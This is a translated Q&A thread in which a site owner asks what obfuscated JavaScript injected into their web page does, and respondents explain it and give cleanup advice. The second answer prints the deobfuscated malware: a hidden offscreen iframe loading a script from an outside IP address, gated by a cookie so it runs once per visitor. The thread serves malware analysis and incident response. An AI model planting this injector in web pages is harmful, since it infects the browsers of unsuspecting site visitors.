Necesita ayuda para descifrar el código JS malicioso

2

esperaba que alguien pudiera ayudarme a descifrar este Javascript confuso agregado a una página web que tengo. Como el código es bastante grande, solo enlazaré a las publicaciones de pastebin, pero puedo agregarlas a la publicación en caso de ser necesario. No estoy muy seguro de las mejores prácticas y la etiqueta con respecto a la publicación de códigos maliciosos, así que avíseme si esto es incorrecto.

Aquí está el código después de ejecutarlo a través de una herramienta de impresión bonita de JS: enlace

Logré decodificar la matriz hexadecimal del código anterior en esto: enlace

¿Puede alguien aclararme qué está haciendo exactamente este código? ¿Y la mejor manera de evitar que vuelva a suceder en el futuro?

¡Gracias!

    
pregunta kin3tik 28.08.2013 - 10:24
fuente

2 respuestas

3

Agrega un iframe a tu página que apunta a algunas vulnerabilidades del navegador para infectar a cualquiera que esté viendo tu sitio. A continuación, establece una cookie que le indica que no vuelva a intentarlo, por lo que solo coloca el iframe en la página la primera vez que accede a ella (lo que lo hace un poco menos intrusivo).

La forma habitual en que se agregan a sus archivos es que filtró su contraseña para el acceso de administrador al servidor, luego de que el navegador se haya infectado de usted mismo. En ese caso, el curso de acción es (1) analizar todas las máquinas cliente que han accedido al sitio (con varios AV, ya que los AV no son confiables); cualquier máquina infectada debe reinstalarse desde cero (la eliminación de AV no es confiable); (2) cambiar las contraseñas; (3) si está utilizando FTP, deje de hacerlo; (4) haga una copia de seguridad de los datos, borre el servidor, restaure el código del buen control de copia de seguridad / fuente.

Son posibles otros tipos de compromiso (p. ej., una aplicación web vulnerable implementada: revise sus registros para detectar accesos sospechosos y asegúrese de que todas las aplicaciones estén actualizadas), pero el compromiso de la credencial de la cuenta FTP es la fuente más común de este tipo de intrusión hoy.

    
respondido por el bobince 28.08.2013 - 10:47
fuente
2

Aquí está el código fuente para el estudio. Agregué algunos comentarios y renombré variables. La fuente del iframe está inactiva o solo envía un exploit condicionalmente. No pude acceder a él utilizando un proxy o directamente con una herramienta que no sea del navegador. Es posible que pueda estar filtrando los agentes de los usuarios, posiblemente dirigidos a IE antiguos o ciertos teléfonos móviles.

Parece que está codificado por un usuario inexperto con una herramienta, porque no confunde variables dentro de la cadena hexadecimal, lo que agregaría una capa adicional de ofuscación y reduciría el tamaño. Además, eval raramente aparece en texto plano.

function loadFrame() {
    var static = 'ajax';
    var controller = 'index.php';
    var iframe = document.createElement('iframe');

    // set the source to some evil script
    // it may use client detection, as all I can see is  
    iframe.src = 'http://64.78.1.202/tM9c7bCK.php';
    iframe.style.position = 'absolute';
    iframe.style.color = '563';
    iframe.style.height = '563px';
    iframe.style.width = '563px';
    iframe.style.left = '1000563';
    iframe.style.top = '1000563';

    // if the frame doesn't already exist load it
    if (!document.getElementById('hmbl')) {
        document.write('<p id=\'hmbl\' class=\'loadFrame\' ></p>');
        document.getElementById('hmbl').appendChild(iframe);
    }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires="
        + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) && (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}

if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {
    } else {
        SetCookie('visited_uq', '55', '1', '/');

        loadFrame();
    }
}
    
respondido por el FakeRainBrigand 28.08.2013 - 11:11
fuente

Lea otras preguntas en las etiquetas